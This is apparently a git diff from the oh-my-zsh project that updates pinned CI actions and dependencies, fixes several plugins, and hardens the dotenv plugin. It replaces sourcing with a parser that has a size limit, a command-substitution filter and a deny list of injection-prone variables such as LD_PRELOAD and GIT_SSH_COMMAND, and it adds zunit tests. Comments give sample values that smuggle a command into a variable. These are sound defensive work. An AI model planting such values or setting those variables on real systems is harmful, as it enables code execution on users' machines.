diff --git a/.github/dependencies.yml b/.github/dependencies.yml index b59cf9ed0..6ae21ed2a 100644 --- a/.github/dependencies.yml +++ b/.github/dependencies.yml @@ -30,7 +30,7 @@ dependencies: plugins/kube-ps1: repo: jonmosco/kube-ps1 branch: master - version: e19c9ee867c5655814c384a6bf543e330e6ef1b7 + version: 04af46f7fe888ad287abcab6699b9bb10234bc3d precopy: | set -e find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete diff --git a/.github/workflows/dependencies.yml b/.github/workflows/dependencies.yml index c8a8982b6..7dd5065d8 100644 --- a/.github/workflows/dependencies.yml +++ b/.github/workflows/dependencies.yml @@ -16,7 +16,7 @@ jobs: contents: write # this is needed to push commits and branches steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit @@ -26,7 +26,7 @@ jobs: fetch-depth: 0 - name: Authenticate as @ohmyzsh id: generate-token - uses: actions/create-github-app-token@1b10c78c7865c340bc4f6099eb2f838309f1e8c3 # v3.1.1 + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 with: client-id: ${{ secrets.OHMYZSH_CLIENT_ID }} private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }} diff --git a/.github/workflows/dependencies/requirements.txt b/.github/workflows/dependencies/requirements.txt index 61e06597c..fe379aaae 100644 --- a/.github/workflows/dependencies/requirements.txt +++ b/.github/workflows/dependencies/requirements.txt @@ -1,7 +1,7 @@ certifi==2026.4.22 charset-normalizer==3.4.7 -idna==3.13 +idna==3.15 PyYAML==6.0.3 -requests==2.33.1 +requests==2.34.2 semver==3.0.4 -urllib3==2.6.3 +urllib3==2.7.0 diff --git a/.github/workflows/dependencies/updater.py b/.github/workflows/dependencies/updater.py index b61e5858a..faab5a12c 100644 --- a/.github/workflows/dependencies/updater.py +++ b/.github/workflows/dependencies/updater.py @@ -219,6 +219,7 @@ class Dependency: if status["has_updates"] is True: short_sha = status["head_ref"][:8] new_version = status["version"] if is_tag else short_sha + source_ref = new_version if is_tag else status["head_ref"] try: branch_name = f"update/{self.path}/{new_version}" @@ -227,7 +228,7 @@ class Dependency: branch = Git.checkout_or_create_branch(branch_name) # Update dependency files - self.__apply_upstream_changes() + self.__apply_upstream_changes(source_ref) if not Git.repo_is_clean(): # Update dependencies.yml file @@ -297,7 +298,7 @@ Check out the [list of changes]({status["compare_url"]}). dep_yaml = DependencyStore.update_dependency_version(self.path, new_version) DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml) - def __apply_upstream_changes(self) -> None: + def __apply_upstream_changes(self, ref: str) -> None: # Patterns to ignore in copying files from upstream repo GLOBAL_IGNORE = [".git", ".github", ".gitignore"] @@ -306,12 +307,11 @@ Check out the [list of changes]({status["compare_url"]}). postcopy = self.values.get("postcopy") repo = self.values["repo"] - branch = self.values["branch"] remote_url = f"https://github.com/{repo}.git" repo_dir = os.path.join(TMP_DIR, repo) # Clone repository - Git.clone(remote_url, branch, repo_dir, reclone=True) + Git.clone(remote_url, ref, repo_dir, reclone=True) # Run precopy on tmp repo if precopy is not None: @@ -392,13 +392,15 @@ class Git: Returns `False` if the repo is dirty. """ try: - CommandRunner.run_or_fail( - ["git", "diff", "--exit-code"], stage="CheckRepoClean" + result = CommandRunner.run_or_fail( + ["git", "status", "--porcelain", "--untracked-files=normal"], + stage="CheckRepoClean", ) - return True except CommandRunner.Exception: return False + return result.stdout.strip() == b"" + @staticmethod def add_and_commit(scope: str, version: str) -> bool: """ diff --git a/.github/workflows/installer.yml b/.github/workflows/installer.yml index 6431134c1..d306f170d 100644 --- a/.github/workflows/installer.yml +++ b/.github/workflows/installer.yml @@ -26,7 +26,7 @@ jobs: - macos-latest steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit @@ -47,7 +47,7 @@ jobs: - test steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 1356bcd4e..d452123ef 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -24,7 +24,7 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit diff --git a/.github/workflows/project.yml b/.github/workflows/project.yml index f943842af..e3117769f 100644 --- a/.github/workflows/project.yml +++ b/.github/workflows/project.yml @@ -17,12 +17,12 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit - name: Authenticate as @ohmyzsh id: generate-token - uses: actions/create-github-app-token@1b10c78c7865c340bc4f6099eb2f838309f1e8c3 # v3.1.1 + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 with: client-id: ${{ secrets.OHMYZSH_CLIENT_ID }} private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }} diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index b7f385ed7..05282bfcb 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -36,7 +36,7 @@ jobs: steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit @@ -60,6 +60,6 @@ jobs: retention-days: 5 - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@e46ed2cbd01164d986452f91f178727624ae40d7 # v4.35.3 + uses: github/codeql-action/upload-sarif@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v4.36.0 with: sarif_file: results.sarif diff --git a/plugins/alias-finder/alias-finder.plugin.zsh b/plugins/alias-finder/alias-finder.plugin.zsh index 6f24c7089..de5fcf673 100644 --- a/plugins/alias-finder/alias-finder.plugin.zsh +++ b/plugins/alias-finder/alias-finder.plugin.zsh @@ -1,5 +1,5 @@ alias-finder() { - local cmd=" " exact="" longer="" cheaper="" wordEnd="'{0,1}$" finder="" filter="" + local cmd=" " exact="" longer="" cheaper="" wordEnd="'?$" finder="" filter="" # build command and options for c in "$@"; do @@ -31,7 +31,7 @@ alias-finder() { # find with alias and grep, removing last word each time until no more words while [[ $cmd != "" ]]; do - finder="'{0,1}$cmd$wordEnd" + finder="'?$cmd$wordEnd" # make filter to find only shorter results than current cmd if [[ $cheaper == true ]]; then diff --git a/plugins/aliases/cheatsheet.py b/plugins/aliases/cheatsheet.py index 61bf5f956..d4e35c4ee 100644 --- a/plugins/aliases/cheatsheet.py +++ b/plugins/aliases/cheatsheet.py @@ -6,7 +6,9 @@ import argparse def parse(line): left = line[0:line.find('=')].strip() - right = line[line.find('=')+1:].strip('\'"\n ') + right = line[line.find('=')+1:].strip('\n ') + if len(right) >= 2 and right[0] == right[-1] and right[0] in '\'"': + right = right[1:-1] try: cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0) except StopIteration: diff --git a/plugins/bedtools/README.md b/plugins/bedtools/README.md index c4de4e3a9..417c4f072 100644 --- a/plugins/bedtools/README.md +++ b/plugins/bedtools/README.md @@ -1,5 +1,5 @@ # Bedtools plugin -This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/): +This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/): * Adds autocomplete options for all bedtools sub commands. diff --git a/plugins/celery/README.md b/plugins/celery/README.md index d2597f702..e71f3f4ee 100644 --- a/plugins/celery/README.md +++ b/plugins/celery/README.md @@ -1,6 +1,6 @@ # Celery -This plugin provides completion for [Celery](http://www.celeryproject.org/). +This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/). To use it add celery to the plugins array in your zshrc file. diff --git a/plugins/dnf/README.md b/plugins/dnf/README.md index f45c8778c..1ae68035c 100644 --- a/plugins/dnf/README.md +++ b/plugins/dnf/README.md @@ -18,7 +18,7 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`. | Alias | Command | Description | |-------|-------------------------|--------------------------| | dnfl | `dnf list` | List packages | -| dnfli | `dnf list installed` | List installed packages | +| dnfli | `dnf list --installed` | List installed packages | | dnfgl | `dnf grouplist` | List package groups | | dnfmc | `dnf makecache` | Generate metadata cache | | dnfp | `dnf info` | Show package information | diff --git a/plugins/dnf/dnf.plugin.zsh b/plugins/dnf/dnf.plugin.zsh index 29bb64e64..34d5e975b 100644 --- a/plugins/dnf/dnf.plugin.zsh +++ b/plugins/dnf/dnf.plugin.zsh @@ -5,7 +5,7 @@ local dnfprog="dnf" command -v dnf5 > /dev/null && dnfprog=dnf5 alias dnfl="${dnfprog} list" # List packages -alias dnfli="${dnfprog} list installed" # List installed packages +alias dnfli="${dnfprog} list --installed" # List installed packages alias dnfmc="${dnfprog} makecache" # Generate metadata cache alias dnfp="${dnfprog} info" # Show package information alias dnfs="${dnfprog} search" # Search package diff --git a/plugins/dotenv/.zunit.yml b/plugins/dotenv/.zunit.yml new file mode 100644 index 000000000..e5ea0c3a6 --- /dev/null +++ b/plugins/dotenv/.zunit.yml @@ -0,0 +1,9 @@ +tap: false +directories: + tests: tests + output: tests/_output + support: tests/_support +time_limit: 0 +fail_fast: false +allow_risky: false +verbose: false diff --git a/plugins/dotenv/README.md b/plugins/dotenv/README.md index 5dbcf0fb1..8b3f9ecce 100644 --- a/plugins/dotenv/README.md +++ b/plugins/dotenv/README.md @@ -34,6 +34,25 @@ PORT=3001 You can even mix both formats, although it's probably a bad idea. +Multi-line values are supported using quoted strings: + +```sh +PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEA... +-----END RSA PRIVATE KEY-----" +``` + +Variables defined earlier in the file can be referenced by later entries: + +```sh +BASE_URL=https://example.com +API_URL=$BASE_URL/api +ASSETS_URL=${BASE_URL}/assets +``` + +Note: only variables defined within the same `.env` file are expanded this way — +shell environment variables that already exist are **not** substituted. + ## Settings ### ZSH_DOTENV_FILE @@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t No additional configuration is required — the plugin automatically detects and sources named pipes. +## Tests + +The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run: + +```sh +cd plugins/dotenv && zunit +``` + +> [NOTE!] +> zunit also requires installing [Revolver](https://github.com/molovo/revolver). + ## Version Control **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only. -## Disclaimer +## Security -This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job. +The plugin applies several best-effort safeguards when loading a `.env` file: + +- **Size limit** — files larger than 10 MiB are rejected to prevent DoS. +- **Syntax check** — the file is validated with `zsh -fn` before any variables are set. +- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped. +- **Forbidden variables** — the following variables are never overwritten, regardless of what the + `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`, + `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`, + `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`, + `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special + parameters. + +These measures are **best-effort** — you are still responsible for the content of your `.env` +file. Do not use this plugin as a security boundary. If you need more advanced and feature-rich ENV management, check out these awesome projects: diff --git a/plugins/dotenv/dotenv.plugin.zsh b/plugins/dotenv/dotenv.plugin.zsh index c44c369b5..72839a501 100644 --- a/plugins/dotenv/dotenv.plugin.zsh +++ b/plugins/dotenv/dotenv.plugin.zsh @@ -7,9 +7,271 @@ : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"} : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"} - ## Functions +_parse_dotenv_content() { + setopt localoptions extendedglob + + local content="$1" + local mode="${2:-export}" + + # Validate mode argument + case "$mode" in + export|test) ;; + *) + echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2 + return 1 + ;; + esac + + local node line key value + local raw_value expanded prefix remainder var_name escaped_dollar_placeholder + local sq dq uq safe + local -A parsed_vars + local -a nodes lines + + # Parse into command lines separated by `;`, with built-in support for multi-line commands. + # (Z:C:) ignores comments and preserves quotes and escapes. + # + # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines + # by joining all elements between ';'. + # + # Example input: + # VAR1=value1; VAR2=value2 + # VAR3="multi + # line value" + # Result: + # typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' ) + # typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' ) + # + nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command + for node in "${nodes[@]}"; do + if [[ "$node" == ";" ]]; then + if [[ -n "$line" ]]; then + lines+=("$line") + line="" + fi + continue + fi + + [[ -z "$line" ]] || line+=" " + line+="$node" + done + + local -a forbidden_vars=( + NODE_OPTIONS + BASH_ENV + ENV + ZDOTDIR + ZSH + LD_PRELOAD + LD_LIBRARY_PATH + DYLD_INSERT_LIBRARIES + GIT_CONFIG_GLOBAL + GIT_DIR + GIT_EDITOR + GIT_EXTERNAL_DIFF + GIT_EXEC_PATH + GIT_PAGER + GIT_SSH + GIT_SSH_COMMAND + GIT_SSL_NO_VERIFY + GIT_TEMPLATE_DIR + VISUAL + PAGER + EDITOR + ${(k)parameters[(R)*export*special]} + ) + local forbidden="${(j:|:)forbidden_vars}" + + + # Each line contains a single command line, we need to parse valid KEY=VALUE pairs + for line in "${lines[@]}"; do + # Strip leading 'export ' keyword + line="${line#export[ ]}" + + # Match KEY=VALUE pattern + # "A name may be any sequence of alphanumeric characters and underscores" + # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters + if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then + continue + fi + + key="${match[1]}" + value="${match[2]}" + raw_value="$value" + + # Filter out variables to be ignored for security reasons (best effort) + if [[ "$key" == (${~forbidden}) ]]; then + continue + fi + + # Use tokenization to split value with native shell parsing (handles quotes and escapes) + # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run` + local -a words + words=("${(@z)value}") + if [[ ${#words} -ne 1 ]]; then + continue + fi + + ## START: FILTER COMMAND EXPANSION + # + # Filter lines with command expansion not in safe contexts + # + # READER'S NOTE: this is actually a "best effort" check (works in tests), but + # only to prevent setting variables with command substitution. The actual effect + # of setting them would not be a vulnerability, because we use `typeset name=value` + # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`. + # + # What does this mean? If we were to remove this filter block, this is what would happen: + # + # Input: DANGEROUS=$(echo this is a command) + # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution) + # + # Check for potential command substitution outside of safe contexts + # - single-quoted strings: command substitution is literal there + sq="'[^']#'" + # - double-quoted strings, but NOT unescaped ` or $( + dq='"([^"$`\\]|\\.|\\$[^(\`])#"' + # - unquoted text, but NOT unescaped ` or $( + uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#' + safe="(${sq}|${dq}|${uq})#" + # Remove the longest safe prefix; what remains starts at first unsafe construct + remainder="${value##${~safe}}" + + if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then + continue + fi + ## END: FILTER COMMAND EXPANSION + + # Single-quoted values are fully literal and must not participate in expansion. + if [[ "$raw_value" == \'*\' ]]; then + value="${(Q)value}" + parsed_vars[$key]="$value" + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + continue + fi + + # Preserve escaped dollars so they remain literal after unquoting. + escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001' + value="${value//\\\$/$escaped_dollar_placeholder}" + + # Unquote the value to handle special characters and multiline values. + value="${(Q)value}" + + # Expand previously parsed in-file variables without partial name matches. + expanded="" + prefix="" + remainder="$value" + var_name="" + while [[ "$remainder" == *'$'* ]]; do + prefix="${remainder%%\$*}" + expanded+="$prefix" + remainder="${remainder#$prefix}" + + if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + else + expanded+='$' + remainder="${remainder#?}" + continue + fi + + if [[ -v "parsed_vars[$var_name]" ]]; then + expanded+="${parsed_vars[$var_name]}" + fi + done + value="${expanded}${remainder}" + value="${value//$escaped_dollar_placeholder/\$}" + + # Store in parsed vars (for in-file expansion) + parsed_vars[$key]="$value" + + # Normal mode: export the variable + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + done + + # In test mode, set DOTENV_TEST_VARS + typeset -gA DOTENV_TEST_VARS + DOTENV_TEST_VARS=("${(@kv)parsed_vars}") +} + +parse_dotenv() { + local filename="$1" + local mode="${2:-export}" + local content + + # Fail if file is too large to avoid DoS + zmodload -F zsh/stat b:zstat + local -i file_size max_size=10485760 # 10MiB + if ! file_size=$(zstat +size "$filename" 2>/dev/null); then + echo "dotenv: unable to determine size of file '$filename'" >&2 + return 1 + fi + + if (( file_size > max_size )); then + echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2 + return 1 + fi + + content="$(<"$filename")" || return 1 + _parse_dotenv_content "$content" "$mode" +} + +_dotenv_read_limited() { + local filename="$1" + local chunk content="" + local -i max_size=10485760 total=0 read_size=0 fd read_status + + zmodload zsh/system || return 1 + exec {fd}<"$filename" || return 1 + + while true; do + sysread -i $fd -s 65536 -c read_size chunk + read_status=$? + + if (( read_status == 5 )); then + break + elif (( read_status != 0 )); then + exec {fd}<&- + return 1 + fi + + (( total += read_size )) + if (( total > max_size )); then + exec {fd}<&- + echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2 + return 1 + fi + + content+="$chunk" + done + + exec {fd}<&- + REPLY="$content" +} + +_dotenv_check_syntax() { + local filename="$1" + + if (( $# == 2 )); then + printf '%s' "$2" | zsh -fn /dev/stdin + else + zsh -fn -- "$filename" + fi || { + echo "dotenv: error when sourcing '$filename' file" >&2 + return 1 + } +} + source_env() { if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then return @@ -37,28 +299,35 @@ source_env() { [[ $column -eq 1 ]] || echo # print same-line prompt and output newline character if necessary - echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) " + echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) " read -k 1 confirmation [[ "$confirmation" = $'\n' ]] || echo # check input case "$confirmation" in - [nN]) return ;; + [yY]) ;; [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;; [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;; - *) ;; # interpret anything else as a yes + *) return ;; # interpret anything else as a no esac fi fi - # test .env syntax - zsh -fn $ZSH_DOTENV_FILE || { - echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2 - return 1 - } + local content + if [[ -p "$ZSH_DOTENV_FILE" ]]; then + _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1 + content="$REPLY" + _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1 + + setopt localoptions allexport + _parse_dotenv_content "$content" + return + fi + + _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1 setopt localoptions allexport - source $ZSH_DOTENV_FILE + parse_dotenv "$ZSH_DOTENV_FILE" } autoload -U add-zsh-hook diff --git a/plugins/dotenv/tests/_output/.gitignore b/plugins/dotenv/tests/_output/.gitignore new file mode 100644 index 000000000..d6b7ef32c --- /dev/null +++ b/plugins/dotenv/tests/_output/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/plugins/dotenv/tests/_support/bootstrap b/plugins/dotenv/tests/_support/bootstrap new file mode 100644 index 000000000..f45bec020 --- /dev/null +++ b/plugins/dotenv/tests/_support/bootstrap @@ -0,0 +1,139 @@ +#!/usr/bin/env zsh +# Bootstrap script for dotenv plugin tests +# This is sourced before any tests run and provides shared utilities + +# Load the dotenv plugin +source "$PWD/dotenv.plugin.zsh" +ZSH_DOTENV_PROMPT=false +ZSH_DOTENV_FILE=/dev/null + +# Helper: Parse dotenv file in test mode +_parse_dotenv_test() { + parse_dotenv "$1" "test" +} + +# Helper: Parse dotenv file in export mode +_parse_dotenv_export() { + unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true + + parse_dotenv "$1" "test" + + for key in "${(k)DOTENV_TEST_VARS}"; do + typeset -x "$key"="${DOTENV_TEST_VARS[$key]}" + done +} + +# Helper: Run parse_dotenv suppressing stderr +_parse_dotenv_quiet() { + parse_dotenv "$@" 2>/dev/null +} + +# Helper: Create a temporary test fixture +_create_temp_fixture() { + local fixture + fixture==(:) # Create temp file + echo "$fixture" +} + +_write_temp_fixture() { + local fixture="$1" + > "$fixture" +} + + +# Helper: Source file with allexport and capture variables +# Usage: _source_with_allexport "file.env" +# Result is in DOTENV_SOURCE_VARS associative array +_source_with_allexport() { + local filename="$1" + + # Source with allexport in a subshell with no exported variables + + # The return and capture of the exported variables is a bit of a pain: + # 1. We first store the key=value pairs in $vars associative array, which is + # defined before allexport is set to avoid appearing in results. + # 2. Afterwards, we join all keys and values of the associative with null delimiters. With + # "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:) + # we join them with nulls. + # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain + # empty values, and then uses it to populate an associative array. + # Don't try to understand this or change it unless you have to. Debugging is a nightmare. + typeset -gA DOTENV_SOURCE_VARS + DOTENV_SOURCE_VARS=("${(@0)"$( + local -A vars + + # Clear all exports first + zmodload zsh/parameter + unset ${(k)parameters[(R)*export*]} 2>/dev/null || true + + # Source file with allexport + setopt localoptions allexport + source "$filename" + + # Set all exported variables into an associative array + for key in ${(k)parameters[(R)*export*]}; do + vars[$key]="${(P)key}" + done + + print -rn -- "${(@kvpj:\0:)vars}" + )"}") +} + + +## ZUnit assertion helpers + +_zunit_assert_function_exists() { + [[ "${+functions[$1]}" -eq 1 ]] && return 0 + echo "Function '$1' does not exist" + exit 1 +} + +_zunit_assert_var_same_as() { + local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset} + if [[ $tvalue != $tcomp ]]; then + echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)" + exit 78 + fi + + # Special case for associative arrays + if [[ ${(Pt)1} == "association" ]]; then + local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}") + local -aU keys=("${(@k)value}" "${(@k)comparison}") + + local ret=0 key + for key in "${keys[@]}"; do + # Key match checks + if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then + echo "'$1[$key]' is set (value='${value[$key]}')" + ret=1 + elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then + echo "'$1[$key]' is not set (expected='${comparison[$key]}')" + ret=1 + # Value match checks + elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then + echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'" + ret=1 + fi + done + + exit $ret + fi + + # Generic case + local value="${(P)1}" comparison="${(P)2}" + [[ "$value" != "$comparison" ]] || exit 0 + echo "'$1' value mismatch: '$value' is not the same as '$comparison'" + exit 1 +} + +_zunit_assert_var_is_set() { + [[ -v "$1" ]] && return 0 + echo "Variable '$1' is not set" + exit 1 +} + +_zunit_assert_var_is_not_set() { + [[ ! -v "$1" ]] && return 0 + echo "Variable '$1' is set" + exit 1 +} diff --git a/plugins/dotenv/tests/_support/fixtures/dotenvjs.env b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env new file mode 100644 index 000000000..16a56267c --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env @@ -0,0 +1,88 @@ +# Consolidated dotenv test fixture from dotenv test suite +# Source: https://github.com/motdotla/dotenv/tree/master/tests +# +# Copyright (c) 2015, Scott Motte +# All rights reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: + +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. + +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. + +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line + +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" + +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' + +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" + +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\nnewlines + +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" + +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work + +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld + +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" diff --git a/plugins/dotenv/tests/_support/fixtures/features.env b/plugins/dotenv/tests/_support/fixtures/features.env new file mode 100644 index 000000000..e5862bc8e --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/features.env @@ -0,0 +1,23 @@ +# Export syntax +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= + +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users 